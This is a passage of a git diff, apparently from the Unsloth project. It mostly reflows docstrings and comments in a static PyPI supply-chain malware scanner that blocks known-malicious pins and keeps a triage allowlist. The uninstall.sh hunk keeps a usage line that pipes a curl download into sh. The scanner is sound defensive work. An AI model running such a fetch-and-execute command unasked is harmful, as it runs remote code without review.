and fetch any sdist-only package's raw tarball from the PyPI JSON API for scan_archive() to read statically: no pip, no build, same no-exec guarantee. Transport failures are still exit 2; only "no wheel" is downgraded.-# How many levels of indirect-dep recovery to chase (a wheel dep whose own child is sdist-only, and so on). Bounded-# with dedup so recovery always terminates.+# How many levels of indirect-dep recovery to chase. Bounded with dedup so recovery always terminates._MAX_DEP_FOLLOWUP_DEPTH = 2_SDIST_DOWNLOAD_TIMEOUT = 180# Never fetch an archive larger than we would be willing to scan (iter_archive_files cap).@@ -1947,9 +1719,7 @@ def _spec_pin_version(spec: str) -> str | None:def _pypi_json(name: str, version: str | None = None) -> dict | None:- """Fetch PyPI metadata JSON (read-only HTTPS GET, no exec); None on error.- With ``version`` it fetches that release's document, whose ``requires_dist``- is accurate for the pin (the project-level doc describes only the latest)."""+ """Fetch PyPI metadata JSON (read-only HTTPS GET, no exec); None on error. With ``version`` it fetches that release's document, whose ``requires_dist`` is accurate for the pin (the project-level doc describes only the latest)."""url = "https://pypi.org/pypi/" + urllib.parse.quote(name, safe = "")if version:url += "/" + urllib.parse.quote(version, safe = "")@@ -1966,9 +1736,7 @@ def _pypi_json(name: str, version: str | None = None) -> dict | None:def _release_files(meta: dict, version: str | None) -> list[dict]:- """Files for a pinned version, else the latest release's. A pin that is- absent or empty returns [] (never the latest) so a yanked/bad pin fails- closed instead of a different artifact being scanned in its place."""+ """Files for a pinned version, else the latest release's. A pin that is absent or empty returns [] (never the latest) so a yanked or bad pin fails closed instead of a different artifact being scanned in its place."""if version is not None:return meta.get("releases", {}).get(version) or []return meta.get("urls", []) or []@@ -2004,12 +1772,7 @@ _MARKER_ENV_VARS = (def _marker_holds_by_default(marker: str) -> bool:- """Keep (scan) a dep unless its marker is purely ``extra``-gated. The scanner- runs on one OS/Python but a package may be installed on another, so a marker- that can be true on a different target (``sys_platform == 'win32'``,- ``python_version == '3.13'``) is always kept; only a marker depending solely- on ``extra`` and false with no extra requested is dropped. Conservative: on- any uncertainty, keep (over-scan, never silently skip)."""+ """Keep (scan) a dep unless its marker is purely ``extra``-gated. The scanner runs on one OS/Python but a package may be installed on another, so a marker that can be true on a different target is always kept; only a marker depending solely on ``extra`` and false with no extra requested is dropped. Conservative: on any uncertainty, keep."""m = marker.strip()if not m or "extra" not in m:return True # no extra gate: installed by default on some target -> scan@@ -2028,10 +1791,7 @@ def _marker_holds_by_default(marker: str) -> bool:def _requires_dist_names(meta: dict) -> list[str]:- """Transitive dep specs (name + version specifier) from metadata, to recover- a sdist-only package's tree. The specifier is kept so a pinned malicious- version is fetched, not latest. Drops deps whose marker cannot hold for a- default install."""+ """Transitive dep specs (name + version specifier) from metadata, to recover a sdist-only package's tree. The specifier is kept so a pinned malicious version is fetched, not latest. Drops deps whose marker cannot hold for a default install."""info = meta.get("info", {}) or {}reqs = info.get("requires_dist") or []specs: list[str] = []@@ -2056,11 +1816,7 @@ def _requires_dist_for(project_meta: dict,errors: list[str] | None = None,) -> list[str]:- """Declared deps for the pinned version, read from that release's metadata- (its ``requires_dist`` can differ from latest). Unpinned uses the- project-level (latest) document. A pinned version whose own metadata cannot- be fetched returns [] (never latest's deps) and, when ``errors`` is given,- records an incomplete-scan error so a partial tree is not read as "no deps"."""+ """Declared deps for the pinned version, read from that release's metadata (its ``requires_dist`` can differ from latest); unpinned uses the project-level document. A pinned version whose own metadata cannot be fetched returns [] and, when ``errors`` is given, records an incomplete-scan error so a partial tree is not read as "no deps"."""if not version:return _requires_dist_names(project_meta)vmeta = _pypi_json(name, version)@@ -2081,11 +1837,7 @@ def _download_sdist_direct(*,meta: dict | None = None,) -> tuple[str | None, str | None]:- """Fetch a project's sdist tarball directly from PyPI (no pip, no build).-- Returns ``(filepath, error)``, one non-None. Suffix preserved for the archive- reader; bounded by ``_MAX_SDIST_BYTES`` and restricted to PyPI's CDN.- """+ """Fetch a project's sdist tarball directly from PyPI (no pip, no build). Returns ``(filepath, error)``, one non-None. Suffix preserved for the archive reader; bounded by ``_MAX_SDIST_BYTES`` and restricted to PyPI's CDN."""if meta is None:meta = _pypi_json(name)if meta is None:@@ -2100,8 +1852,7 @@ def _download_sdist_direct(fname, url = pickedif not _is_trusted_pypi_url(url):return None, f"refusing non-PyPI sdist URL for {name}: {url[:80]}"- # basename + sanitize keeps the path inside dest;- # the char class preserves the real `.tar.gz` / `.zip` suffix so the archive reader picks the format.+ # basename + sanitize keeps the path inside dest; the char class preserves the real `.tar.gz` / `.zip` suffix so the archive reader picks the format.safe_fname = _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz"out = os.path.join(dest, safe_fname)try:@@ -2159,13 +1910,7 @@ def _collect_flat_dir(dest: str, results: list[tuple[str, str]]) -> None:def _resolve_per_spec_with_deps(specs: list[str], dest: str, env: dict, download_errors: list[str]) -> None:- """Fallback when the bulk --with-deps resolve fails: resolve each spec alone.-- A still-failing spec is probed against PyPI: sdist-only -> direct fetch (deps- recovered one level); wheel-present but tree-unresolvable -> a --no-deps fetch- of just that package. Only a genuine fetch failure errors (caller exits 2);- unfetchable indirect deps are warned, since the named package is still scanned.- """+ """Fallback when the bulk --with-deps resolve fails: resolve each spec alone. A still-failing spec is probed against PyPI, so sdist-only goes to a direct fetch (deps recovered one level) and wheel-present-but-unresolvable to a --no-deps fetch. Only a genuine fetch failure errors (caller exits 2); unfetchable indirect deps are warned, since the named package is still scanned."""sdist_dep_followups: list[str] = []for spec in specs:name = _extract_pkg_name(spec)@@ -2195,10 +1940,7 @@ def _resolve_per_spec_with_deps(continuesdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))continue- # Has a wheel but the full transitive tree won't co-resolve (ResolutionImpossible), typically a package the- # requirement file installs with --no-deps by design (e.g. descript-audio-codec, whose own pins conflict).- # Fetch just the package itself with --no-deps so it is still scanned; its conflicting deps are out of scope- # here (the file excludes them on purpose). Only a genuine fetch failure is an error.+ # Has a wheel but the full transitive tree will not co-resolve (ResolutionImpossible), typically a package the requirement file installs with --no-deps by design. Fetch just the package itself with --no-deps so it is still scanned; its conflicting deps are out of scope here.nd_cmd = [sys.executable,"-m",@@ -2221,12 +1963,10 @@ def _resolve_per_spec_with_deps(f"alone (--no-deps), recovering deps individually.",file = sys.stderr,)- # The --with-deps failure may have been a sdist-only TRANSITIVE dep, which --no-deps skips. Recover the- # declared deps so that class is still scanned (each is fetched as a wheel or direct sdist below).+ # The --with-deps failure may have been a sdist-only TRANSITIVE dep, which --no-deps skips. Recover the declared deps so that class is still scanned.if meta is not None:sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))continue- # --no-deps also failed: last-ditch sdist fetch at the pinned version.if meta is not None:fpath, _serr = _download_sdist_direct(name, version, dest, meta = meta)if fpath is not None:@@ -2235,9 +1975,7 @@ def _resolve_per_spec_with_deps(f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}")- # Recover the transitive deps of sdist-only packages. A depth-bounded, deduped worklist so a wheel dep whose own- # child is sdist-only is itself fetched (--no-deps) and scanned, not silently dropped, and that child is then- # recovered in turn. `dep` carries the version specifier so a pinned version is fetched.+ # Recover the transitive deps of sdist-only packages: a depth-bounded, deduped worklist so a wheel dep whose own child is sdist-only is itself fetched (--no-deps) and scanned, and that child recovered in turn. `dep` carries the version specifier so a pinned version is fetched.seen: set[str] = set()worklist: list[tuple[str, int]] = [(d, 0) for d in sdist_dep_followups]while worklist:@@ -2276,8 +2014,6 @@ def _resolve_per_spec_with_deps(elif depth < _MAX_DEP_FOLLOWUP_DEPTH:worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta))continue- # Wheel published but its tree won't co-resolve (a sdist-only child).- # Fetch the dep alone so it is scanned, then chase its own declared deps.nd_cmd = [sys.executable,"-m",@@ -2313,16 +2049,9 @@ def download_packages() -> tuple[list[tuple[str, str]], list[str]]:"""Download packages to dest using pip download. NEVER installs.- Returns ``(results, download_errors)``: ``results`` is ``(spec_or_name,- filepath)`` per archive; ``download_errors`` is one-line transport-failure- summaries. A non-empty ``download_errors`` MUST make the caller exit- non-zero so a partial scan can't masquerade as "0 findings, all clean".+ Returns ``(results, download_errors)``; a non-empty ``download_errors`` MUST make the caller exit non-zero so a partial scan cannot masquerade as "0 findings, all clean".- with_deps=True downloads the full transitive tree (flat dir); a bulk resolve- failure (sdist-only package or version conflict) degrades to per-spec- resolution + direct sdist fetch rather than blanking the shard.- with_deps=False (default) downloads each spec individually with --no-deps,- also falling back to a direct sdist fetch when no wheel exists.+ with_deps=True downloads the full transitive tree (flat dir), degrading on a bulk resolve failure to per-spec resolution plus a direct sdist fetch rather than blanking the shard. with_deps=False downloads each spec individually with --no-deps, also falling back to a direct sdist fetch when no wheel exists."""results: list[tuple[str, str]] = []download_errors: list[str] = []@@ -2330,15 +2059,10 @@ def download_packages(if with_deps:os.makedirs(dest, exist_ok = True)- # Fast path: resolve + download the whole transitive tree in one call.- # `--only-binary :all:` refuses sdists so we never build for metadata.+ # Fast path: resolve and download the whole transitive tree in one call. `--only-binary :all:` refuses sdists so we never build for metadata.rc, stderr = _pip_download_with_deps(specs, dest, env)if rc != 0:- # Atomic resolve failed -- a sdist-only package, or a cross-package- # version conflict (ResolutionImpossible). Degrade to per-spec- # resolution so one bad spec can't blank the shard, then direct-fetch- # any sdist-only holdouts (no build). Genuine failures still record an- # error so the caller exits 2.+ # Atomic resolve failed (a sdist-only package, or a cross-package version conflict). Degrade to per-spec resolution so one bad spec cannot blank the shard, then direct-fetch any sdist-only holdouts. Genuine failures still record an error so the caller exits 2.print(f" [INFO] bulk --with-deps resolve failed "f"({stderr.strip()[:160]}); falling back to per-spec resolution "@@ -2346,7 +2070,6 @@ def download_packages(file = sys.stderr,)_resolve_per_spec_with_deps(specs, dest, env, download_errors)- # Collect everything that landed (bulk OR per-spec OR direct sdist)._collect_flat_dir(dest, results)else:for spec in specs:@@ -2372,7 +2095,6 @@ def download_packages(download_errors.append(f"pip download timed out for {spec}")continueif proc.returncode != 0:- # No wheel? Direct-fetch the sdist (no build) before erroring.name = _extract_pkg_name(spec)version = _spec_pin_version(spec)meta = _pypi_json(name)@@ -2407,10 +2129,7 @@ def _extract_pkg_name(spec: str) -> str:def parse_requirements(req_files: list[str]) -> list[dict]:- """Parse requirements files into a list of dicts with source tracking.-- Each dict has keys: spec, name, source_file, line_num, raw_line, is_git.- """+ """Parse requirements files into dicts with keys: spec, name, source_file, line_num, raw_line, is_git."""results = []for req_file in req_files:abs_path = os.path.abspath(req_file)@@ -2421,7 +2140,6 @@ def parse_requirements(req_files: list[str]) -> list[dict]:if not line or line.startswith("#") or line.startswith("-"):continueis_git = line.startswith("git+") or "git+" in line.split("#")[0]- # Strip inline comments and env markersspec = line.split("#")[0].strip()spec = spec.split(";")[0].strip()if not spec:@@ -2443,18 +2161,12 @@ def parse_requirements(req_files: list[str]) -> list[dict]:def get_downloaded_version(archive_path: str) -> str | None:- """Extract version from wheel/sdist filename.-- Wheel: {name}-{version}(-...).whl- Sdist: {name}-{version}.tar.gz / .zip- """+ """Extract version from a wheel ({name}-{version}(-...).whl) or sdist ({name}-{version}.tar.gz / .zip) filename."""basename = os.path.basename(archive_path)- # Wheel: name-version-pytag-abitag-platform.whlif basename.endswith(".whl"):parts = basename[:-4].split("-")if len(parts) >= 2:return parts[1]- # Sdist: name-version.<ext>for ext in (".tar.gz", ".tar.bz2", ".tar.xz", ".tar", ".zip"):if basename.endswith(ext):stem = basename[: -len(ext)]@@ -2507,11 +2219,7 @@ def print_findings(findings: list[Finding]) -> None:def version_sort_key(v: str) -> tuple:- """PEP 440-ish sort key using stdlib only.-- Handles: epoch!, major.minor.patch, pre/post/dev suffixes.- Returns a tuple that sorts in ascending version order.- """+ """PEP 440-ish sort key using stdlib only: handles epoch!, major.minor.patch and pre/post/dev suffixes, returning a tuple that sorts ascending."""epoch = 0if "!" in v:epoch_str, v = v.split("!", 1)@@ -2520,7 +2228,6 @@ def version_sort_key(v: str) -> tuple:except ValueError:pass- # Split off pre/post/dev suffixesv_clean = re.split(r"[-_.]?(a|alpha|b|beta|rc|c|pre|preview|dev|post)", v, maxsplit = 1, flags = re.I)@@ -2536,7 +2243,6 @@ def version_sort_key(v: str) -> tuple:while len(parts) < 3: # pad to at least 3 partsparts.append(0)- # Suffix ordering: dev < alpha < beta < rc < (none) < postsuffix_lower = suffix.lower().lstrip(".-_")if suffix_lower.startswith("dev"):suffix_rank = -4@@ -2579,11 +2285,7 @@ def find_safe_version(tmpdir: str,max_search: int = 10,) -> str | None:- """Search backward from bad_ver for a clean version.-- Downloads and scans up to max_search older versions.- Returns the first clean version found, or None.- """+ """Search backward from bad_ver for a clean version, downloading and scanning up to max_search older versions. Returns the first clean version found, or None."""versions = fetch_pypi_versions(name)if not versions:print(f" [WARN] No versions found on PyPI for {name}", file = sys.stderr)@@ -2602,7 +2304,6 @@ def find_safe_version(if bad_idx is None:bad_idx = len(versions) - 1- # Search backward from the version before bad_vercandidates = versions[:bad_idx]candidates.reverse() # newest-first among older versionscandidates = candidates[:max_search]@@ -2678,13 +2379,7 @@ def update_req_line(raw_line: str, safe_ver: str, old_ver: str | None) -> str:def update_req_file(filepath: str, updates: dict[int, str]) -> None:- """Apply line-level updates to a requirements file.-- updates: {line_num (1-indexed): new_line_text}-- Writes atomically (sibling tmp file, fsync, os.replace) so a crash mid-write- never leaves a half-written file that re-introduces a malicious pin.- """+ """Apply line-level updates ({1-indexed line_num: new_line_text}) to a requirements file. Writes atomically (sibling tmp file, fsync, os.replace) so a crash mid-write never leaves a half-written file that re-introduces a malicious pin."""with open(filepath) as f:lines = f.readlines()@@ -2706,7 +2401,6 @@ def update_req_file(filepath: str, updates: dict[int, str]) -> None:os.fsync(f.fileno())os.replace(tmp_path, filepath)except Exception:- # Best effort cleanup; the destination was never touched.try:os.unlink(tmp_path)except OSError:@@ -2797,14 +2491,7 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> Ndef _find_requirements_files(root: str) -> list[str]:- """Recursively find pip requirements files under root.-- Matches:- - requirements*.txt (e.g. requirements.txt, requirements-dev.txt)- - *.txt inside directories named 'requirements' (e.g. requirements/base.txt)- Skips:- - .egg-info dirs, venvs, hidden dirs, __pycache__, node_modules- """+ """Recursively find pip requirements files under root: requirements*.txt, and *.txt inside directories named 'requirements'. Skips .egg-info dirs, venvs, hidden dirs, __pycache__ and node_modules."""import fnmatchskip_dirs = {"__pycache__", "node_modules", "venv", ".venv", "site-packages"}@@ -2826,10 +2513,7 @@ def _find_requirements_files(root: str) -> list[str]:return sorted(results)-# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can enforce without drowning in-# legitimate-library noise. Matched on (package, package-relative file, check, evidence hash); the hash strips-# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry, but changed flagged code does. Regenerate-# with ``--write-baseline``.+# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can enforce without drowning in legitimate-library noise. Matched on (package, package-relative file, check, evidence hash); the hash strips ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry, but changed flagged code does. Regenerate with ``--write-baseline``._DEFAULT_BASELINE_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json")@@ -2840,38 +2524,22 @@ def _norm_pkg(name: str) -> str:return re.sub(r"[-_.]+", "-", (name or "").strip().lower())-# Leading "<name>-<version>/" archive root of an sdist member, which carries the version. Stripping it (but keeping-# the rest of the path) gives a key stable across version bumps that still distinguishes same-named files.+# Leading "<name>-<version>/" archive root of an sdist member, which carries the version. Stripping it while keeping the rest of the path gives a key stable across version bumps that still distinguishes same-named files._RE_SDIST_ROOT = re.compile(r"^[^/]+-\d[^/]*/")def _relpath_in_package(filename: str) -> str:- """Package-relative path: drop an sdist's version-carrying archive root.-- Wheel members are already package-relative (``numba/cuda/utils.py``); sdist- members sit under ``numba-0.60.0/...``, so strip that one leading segment.- """+ """Package-relative path: drop an sdist's version-carrying archive root. Wheel members are already package-relative; sdist members sit under ``numba-0.60.0/...``."""return _RE_SDIST_ROOT.sub("", filename, count = 1)-# Evidence joins matched spans with " | " and a newline between labelled groups, each span tagged "L<NN>: ".-# Split only on those real delimiters (a " | " before a marker, or a newline), never on a bare "|", since matched-# code may contain a bitwise-or or union type. The prefix strips only a genuine leading marker, an optional-# "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g. a .pth import line) has no leading marker-# and is left intact.+# Evidence joins matched spans with " | " and a newline between labelled groups, each span tagged "L<NN>: ". Split only on those real delimiters, never on a bare "|", since matched code may contain a bitwise-or or union type. The prefix strips only a genuine leading marker, so a marker-like "L<NN>:" inside raw code is left intact._RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")def _canon_evidence(evidence: str) -> str:- """Matched code lines in discovery order (markers removed), duplicates kept.-- Splits evidence on its real span delimiters, drops each span's leading- label / line-number marker, and keeps the code with its indentation. Line- shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order- stays significant: reordering matched lines (executable context, e.g. the- arguments of a multi-line call) reopens the finding. Keeping duplicates means- an appended identical occurrence still changes the key."""+ """Matched code lines in discovery order (markers removed), duplicates kept. Line shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order stays significant and reordering matched lines reopens the finding; keeping duplicates means an appended identical occurrence still changes the key."""spans = []for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()@@ -2886,12 +2554,7 @@ def _evidence_hash(evidence: str) -> str:def _finding_key(f: Finding) -> tuple[str, str, str, str]:- """Allowlist key: package, package-relative path, check, evidence hash.-- The evidence hash is over the set of matched code, so the key survives version- bumps, line shifts and reordering but reopens when the flagged code changes --- so a future payload in a baselined file/check is not auto-suppressed.- """+ """Allowlist key: package, package-relative path, check, evidence hash. The evidence hash is over the set of matched code, so the key survives version bumps, line shifts and reordering but reopens when the flagged code changes."""return (_norm_pkg(f.package),_relpath_in_package(f.filename),@@ -2901,13 +2564,7 @@ def _finding_key(f: Finding) -> tuple[str, str, str, str]:def _load_baseline(path: str) -> "dict[tuple[str, str, str, str], set[str] | None]":- """Load an allowlist JSON into {match key: pinned file digests}.-- None means unpinned: the key alone suppresses, as before. A set of digests- covers only those exact file contents, so any other edit to the file reopens- the finding. For files whose danger sits outside the matched lines, e.g. a- credential send whose evidence records the urlopen call but not its destination.- """+ """Load an allowlist JSON into {match key: pinned file digests}. None means unpinned: the key alone suppresses. A set of digests covers only those exact file contents, so any other edit to the file reopens the finding, which matters for files whose danger sits outside the matched lines."""try:with open(path, "r", encoding = "utf-8") as fh:data = json.load(fh)@@ -2929,7 +2586,6 @@ def _load_baseline(path: str) -> "dict[tuple[str, str, str, str], set[str] | Nonif not isinstance(e, dict):continuetry:- # Use the reviewed hash; else recompute it from the stored evidence.evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")if not e.get("evidence_hash"):legacy += 1@@ -2941,8 +2597,7 @@ def _load_baseline(path: str) -> "dict[tuple[str, str, str, str], set[str] | Non)except (KeyError, TypeError):continue- # None = unpinned (key alone suppresses). A set = only those file digests. An unpinned entry wins, since it- # already suppresses the key on its own.+ # None = unpinned (key alone suppresses). A set = only those file digests. An unpinned entry wins, since it already suppresses the key on its own.pin = e.get("file_sha256")if key not in keys:keys[key] = {pin} if pin else None@@ -2965,12 +2620,7 @@ def _write_baseline(findings: list[Finding],source: "str | None" = None,) -> None:- """Persist CRITICAL/HIGH findings as an allowlist for human triage.-- Pins are carried over from `source`, the baseline in effect for this run, so- regenerating cannot silently widen a reviewed entry. Reading them from `path`- instead would drop every pin whenever the output goes somewhere new.- """+ """Persist CRITICAL/HIGH findings as an allowlist for human triage. Pins are carried over from `source`, the baseline in effect for this run, so regenerating cannot silently widen a reviewed entry; reading them from `path` instead would drop every pin whenever the output goes somewhere new."""pinned = {k for k, v in _load_baseline(source or path).items() if v is not None}entries = []seen: set[tuple[str, str, str, str]] = set()@@ -3152,16 +2802,13 @@ def main() -> int:all_findings: list[Finding] = []- # Hard pin-block: refuse to download known-malicious PyPI versionsspecs, blocked_findings = _check_blocked_pypi_versions(specs)all_findings.extend(blocked_findings)tmpdir = tempfile.mkdtemp(prefix = "pth_scan_")atexit.register(lambda d = tmpdir: shutil.rmtree(d, ignore_errors = True))download_errors: list[str] = []- # Scan-side failures, kept beside the download ones so both reach the SCAN INCOMPLETE block below. A stall has to- # exit 2 like any other partial scan: exit 1 is reserved for "non-baselined CRITICAL or HIGH findings detected",- # so exiting 1 on a dead worker would report an infrastructure failure as a threat.+ # Scan-side failures, kept beside the download ones so both reach the SCAN INCOMPLETE block below. A stall has to exit 2 like any other partial scan: exit 1 is reserved for "non-baselined CRITICAL or HIGH findings detected".scan_errors: list[str] = []try:downloaded, download_errors = download_packages(@@ -3171,12 +2818,7 @@ def main() -> int:)print(f" Downloaded {len(downloaded)} archive(s).")- # Scanning, not downloading, is the cost here: on the hf-stack shard the `pip download` above takes 9.7s and the- # pass below took 306s of a 316s total.- # `imap` with chunksize=1 yields in submission order, so the findings list is assembled in exactly the order- # the serial loop produced it and the report is unchanged.- # chunksize=1 is also what makes `next(timeout=)` available at all: above 1, CPython's Pool.imap returns a bare- # generator with no timeout support (Lib/multiprocessing/pool.py).+ # Scanning, not downloading, is the cost: on the hf-stack shard `pip download` takes 9.7s and the pass below took 306s of a 316s total. `imap` with chunksize=1 yields in submission order, so the findings list matches the serial loop's; chunksize=1 is also what makes `next(timeout=)` available at all, since above 1 CPython's Pool.imap returns a bare generator with no timeout support.tasks = [(archive_path, _extract_pkg_name(spec)) for spec, archive_path in downloaded]jobs = args.jobs if args.jobs else max(1, min(4, os.cpu_count() or 1))if jobs > 1 and len(tasks) > 1:@@ -3188,15 +2830,7 @@ def main() -> int:try:captured, findings = results.next(timeout = 900)except multiprocessing.TimeoutError:- # A worker died (OOM or segfault on a hostile archive).- # Without this the iterator blocks forever and the job- # only ends at the workflow timeout, with no reason given.- #- # Recorded rather than raised: `raise SystemExit(<str>)`- # prints the string and exits 1, and 1 already means- # "CRITICAL or HIGH findings detected". Routing it here- # gets the SCAN INCOMPLETE report and exit 2, which is- # what a partial scan is supposed to return.+ # A worker died (OOM or segfault on a hostile archive). Without this the iterator blocks forever and the job only ends at the workflow timeout with no reason given. Recorded rather than raised, since `raise SystemExit(<str>)` exits 1 and 1 already means "CRITICAL or HIGH findings detected"; routing it here gets SCAN INCOMPLETE and exit 2.scan_errors.append(f"scan stalled after {i}/{len(tasks)} archive(s) with no "f"result for 900s; a pool worker most likely died"@@ -3219,8 +2853,6 @@ def main() -> int:finally:shutil.rmtree(tmpdir, ignore_errors = True)- # Baseline allowlist: suppress triaged, known-good findings so the CI gate can be enforcing without red-failing on- # legitimate-library noise.if args.no_baseline:baseline_path = Noneelif args.baseline:@@ -3252,8 +2884,7 @@ def main() -> int:)_run_fix(critical_pkgs, entries, args.max_search)- # Surface pip-download failures BEFORE the exit code so a partial download can't masquerade as "0 findings, all- # clean" (silent-failure hardening 4). Also keeps us from writing a baseline from an incomplete scan.+ # Surface pip-download failures BEFORE the exit code so a partial download cannot masquerade as "0 findings, all clean", and so a baseline is never written from an incomplete scan.incomplete_errors = download_errors + scan_errorsif incomplete_errors:print(@@ -3270,14 +2901,12 @@ def main() -> int:)return 2- # --write-baseline: persist the full current CRITICAL/HIGH set as the new allowlist (ignoring any loaded- # baseline), then exit 0. Only reached once the scan is known complete.+ # --write-baseline: persist the full current CRITICAL/HIGH set as the new allowlist (ignoring any loaded baseline), then exit 0. Only reached once the scan is known complete.if args.write_baseline:_write_baseline(args.write_baseline, all_findings, source = baseline_path)return 0- # Exit 1 only if a NON-baselined CRITICAL or HIGH remains. This is the signal CI gates on once the baseline- # reaches a clean run.+ # Exit 1 only if a NON-baselined CRITICAL or HIGH remains. This is the signal CI gates on once the baseline reaches a clean run.if any(f.severity in (CRITICAL, HIGH) for f in active):return 1return 0diff --git a/scripts/uninstall.sh b/scripts/uninstall.shindex e4a6ed8c2d8..93e5cb0fec0 100755--- a/scripts/uninstall.sh+++ b/scripts/uninstall.sh@@ -1,10 +1,8 @@#!/usr/bin/env sh# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-## Unsloth Studio uninstaller (macOS / Linux / WSL). Run --help for details.# Custom roots (UNSLOTH_STUDIO_HOME / STUDIO_HOME) come from studio.conf.-## Usage: curl -fsSL https://raw.githubusercontent.com/unslothai/unsloth/main/scripts/uninstall.sh | shset -ediff --git a/scripts/verify_comment_only_diff.py b/scripts/verify_comment_only_diff.pyindex 23d06b85dfa..b2bb695d39f 100644--- a/scripts/verify_comment_only_diff.py+++ b/scripts/verify_comment_only_diff.py@@ -1,11 +1,9 @@# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Lesser General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See thediff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.pyindex bc6c420a25d..6a835a4a857 100644--- a/scripts/verify_import_hoist.py+++ b/scripts/verify_import_hoist.py@@ -733,7 +733,6 @@ _SELF_TESTS = {"import os\nimport sys\ndef f(x):\n return x._b + sys.argv[0]\n",None,),- # --- the __all__ re-export skip, and its scoping ---"reexport_in_package_init_is_allowed": ('from .a import A\n__all__ = ["A"]\n','from .a import A\nfrom .b import B\n__all__ = ["A", "B"]\n',@@ -752,7 +751,6 @@ _SELF_TESTS = {"BLOCKER","pkg/__init__.py",),- # --- quoted annotations are annotations ---# A TYPE_CHECKING import reached only through a forward reference IS used."forward_ref_string_annotation_counts_as_a_use": ("from typing import TYPE_CHECKING, Optional\ndef f(x) -> Optional[int]:\n return x\n",diff --git a/scripts/video_quality.py b/scripts/video_quality.pyindex 8e679f50020..6325de63fbf 100644--- a/scripts/video_quality.py+++ b/scripts/video_quality.py@@ -3,51 +3,15 @@"""Video quality-vs-cost harness for the Unsloth video backend.-The video analogue of scripts/diffusion_quality.py: hold the prompt + seed +-shape fixed, render one clip with a high-fidelity reference configuration-(default the family's BF16 artifact), then render the same clip with each-candidate configuration (a GGUF quant, a dense torchao quant, a speed profile,-a step cache) and measure how far the output drifts from the reference.--Per candidate it reports:-- mean PSNR / SSIM over evenly sampled frames (pixel + structural fidelity),-- a temporal-consistency deviation: the relative error between the reference's- and the candidate's frame-to-frame motion-energy series, which catches- flicker/juddering that per-frame SSIM alone can miss,-- black-frame and NaN collapse checks (the failure mode quant bugs actually- produce, per the image backend's qwen fp8 incident),-- an audio check for families that generate sound (LTX-2): RMS ratio vs the- reference and a silence trip-wire,-- wall time per generate and peak VRAM.--Verdict bands map the standing accuracy budget: a candidate that keeps mean-SSIM at or above 0.75 PASSes (a ~25 percent structural drift is acceptable for-a large speed/memory win), 0.50-0.75 WARNs, and below 0.50 or any black/NaN/-silence collapse FAILs regardless of how fast it is.--Runtime-budgeted: ONE short clip per candidate (default 33 frames at 480p-class-sizes) so a full family sweep stays in minutes, not hours. Metrics are pure-numpy; torch / diffusers / the backend load lazily so --help and --selftest run-on a host without them.--Examples:- # CPU metric sanity check (no GPU, no model):- python scripts/video_quality.py --selftest-- # LTX-2.3 GGUF quants against the BF16 GGUF reference:- CUDA_VISIBLE_DEVICES=1 python scripts/video_quality.py \\- --model unsloth/LTX-2.3-GGUF --model-kind gguf \\- --reference "gguf_filename=distilled-1.1/ltx-2.3-22b-distilled-1.1-BF16.gguf" \\- --candidates "gguf_filename=distilled-1.1/ltx-2.3-22b-distilled-1.1-Q8_0.gguf" \\- "gguf_filename=distilled-1.1/ltx-2.3-22b-distilled-1.1-UD-Q4_K_M.gguf" \\- --steps 8 --guidance 1.0 --out-dir outputs/video_quality/ltx23-- # Wan2.2-5B dense int8 + speed profiles against plain bf16:- CUDA_VISIBLE_DEVICES=1 python scripts/video_quality.py \\- --model Wan-AI/Wan2.2-TI2V-5B-Diffusers \\- --reference "" \\- --candidates "transformer_quant=int8" "speed_mode=max" \\- --steps 20 --out-dir outputs/video_quality/wan5b+The video analogue of scripts/diffusion_quality.py: hold the prompt, seed and shape fixed, render one clip with a high-fidelity reference configuration (default the family's BF16 artifact), then render the same clip with each candidate configuration (a GGUF quant, a dense torchao quant, a speed profile, a step cache) and measure how far the output drifts from the reference.++Per candidate it reports mean PSNR / SSIM over evenly sampled frames; a temporal-consistency deviation, the relative error between the reference's and the candidate's frame-to-frame motion-energy series, which catches flicker and juddering that per-frame SSIM alone can miss; black-frame and NaN collapse checks, the failure mode quant bugs actually produce (per the image backend's qwen fp8 incident); an audio check for families that generate sound (LTX-2), RMS ratio against the reference plus a silence trip-wire; and wall time per generate with peak VRAM.++Verdict bands map the standing accuracy budget: mean SSIM at or above 0.75 PASSes (a ~25 percent structural drift is acceptable for a large speed/memory win), 0.50-0.75 WARNs, and below 0.50 or any black/NaN/silence collapse FAILs regardless of speed.++Runtime-budgeted: ONE short clip per candidate (default 33 frames at 480p-class sizes) so a full family sweep stays in minutes. Metrics are pure numpy; torch / diffusers / the backend load lazily so --help and --selftest run on a host without them.++Examples: `python scripts/video_quality.py --selftest` for a CPU metric sanity check; `--model 